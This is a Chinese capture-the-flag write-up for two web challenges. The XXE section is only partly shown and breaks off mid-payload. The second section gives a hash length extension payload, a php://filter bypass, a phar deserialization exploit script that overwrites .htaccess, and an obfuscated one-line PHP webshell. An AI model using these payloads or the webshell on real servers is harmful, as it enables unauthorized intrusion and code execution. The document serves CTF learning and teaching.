本文作者:z3r0yu 由“合天智汇”公众号首发,未经允许,禁止转载!
周末的比赛质量还是挺高的,特别是boring_code,有点烧脑但是做的就很开心。
题目描述
http://112.125.25.2:9999
题目解答
题目上来的邮件源码中给了提示,所以直接分析目录得到了对应的程序源码
\]>
先知安全技术社区
http://xz.aliyun.com/forum/
先知安全技术社区
zh-hans
Tue, 02 Jul 2019 06:03:00 +0800
- &test;http://xz.aliyun.com/t/5514利用Excel power query实现远程DDE执行Tue, 02 Jul 2019 06:03:00 +0800http://xz.aliyun.com/t/5514
- CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSShttp://xz.aliyun.com/t/5310CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSSMon, 03 Jun 2019 09:09:00 +0800http://xz.aliyun.com/t/5310
![](https://article.cdnof.com/2307/2526a8cb-a6a4-4ee3-938c-f68c1b8ea36e.png)
(注:想掌握XXE漏洞的原理,学会XXE漏洞利用技术以及防御方法,可来合天网安实验室操作实验——[XXE漏洞攻击与防御](http://www.hetianlab.com/cour.do?w=1&c=CCIDc75d-d37a-42d4-878b-6f130c004ad2))
#### **题目描述**
http://112.126.102.158:9999
#### **题目解答**
首先是一个源码泄露
112.126.102.158:9999/www.zip
看到`config.php`中的`is_admin`函数时,就基本可以判断,此处可以使用hash扩展攻击bypass
function is\_admin(){
$secret = "\*\*\*\*\*\*\*\*";
$username = $\_SESSION\['username'\];
$password = $\_SESSION\['password'\];
if ($username == "admin" && $password != "admin"){
if ($\_COOKIE\['user'\] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}
哈希长度扩展攻击的一般利用步骤如下:
* 知道`md5($secret.$username.$password)`的值
* 知道`$SECRET`的长度
* 我们可以算出另外一个 md5 值和另外一个user的值,使得`$COOKIE['user'] == md5($secret.$username.$password)`
所以首先输入任意密码登录后在cookie中获取到对应的hash
document.cookie
"PHPSESSID=bodvgts7e1v6duqtcvq0miplul; hash=b1a9c01292d57c0d2010add7f8d10c41"
之后,因为要伪造的password的值为admin,所以对应的长度是 len($SECRET)+len($password)=13
最后使用`hashpump`伪造得到对应的值
Input Signature: b1a9c01292d57c0d2010add7f8d10c41
Input Data: admin
Input Key Length: 13
Input Data to Add: zeroyu
f27536145794288b2c1f94f0a62695a9
admin\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00zeroyu
之后将`\x`换为`%`即可得到对应的payload
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00zeroyu
之后就可以用admin的身份来上传文件了
从代码中可以看到,webapp是自己生成了一个`.htaccess`文件来阻止对我们shell的解析,所以我们的目标就是覆盖或者删除这个文件。
有文件上传点,源码中有类,还有一个疑似可以触发phar反序列化的点,基本就可以判断这是一个反序列化漏洞。
大概看了一下官方手册,发现 `mime_content_type` 函数的实现,其实也是通过读取对应的文件来实现的,既然读文件就有可能会触发phar发序列化漏洞,之后本地测试发现的确可以触发。
前面的协议限制我们可以使用php伪协议来进行绕过
preg\_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)
对应的绕过
php://filter/read=convert.base64-encode/resource=phar://filename.phar
之后就是找一条pop链来完成对`.htaccess`的修改,最开始想使用`move_uploaded_file`函数将文件移走,但是后面发现`move_uploaded_file`的第一个参数必须是post传递的,因此失败。
后面就关注到Profile类`__call`函数
function \_\_call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
虽然webapp自身没有提供对应的函数,但是php系统中是否存在某个类可以完成文件修改的效果,所以顺着这个思路就找到了`ZipArchive::open` 对应的手册说明:
https://www.php.net/manual/zh/ziparchive.open.php
所以最终构造出的exp如下
checker=new Profile();
$o->checker->admin=new ZipArchive();
$o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
$o->checker->password=ZIPARCHIVE::OVERWRITE;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
之后我们本地动态调试一下这个链,可以看到是已经触发了的,并且触发之后.htaccess
文件也被修改了
之后我们之后需要上传一个bypass限制的webshell,然后再触发反序列化删掉.htaccess
文件即可getshell
<?php
$z="sys"."tem";
$z($_GET[0]);
哈希(Hash)相关内容学习可操作实验——哈希(Hash)长度扩展攻击。。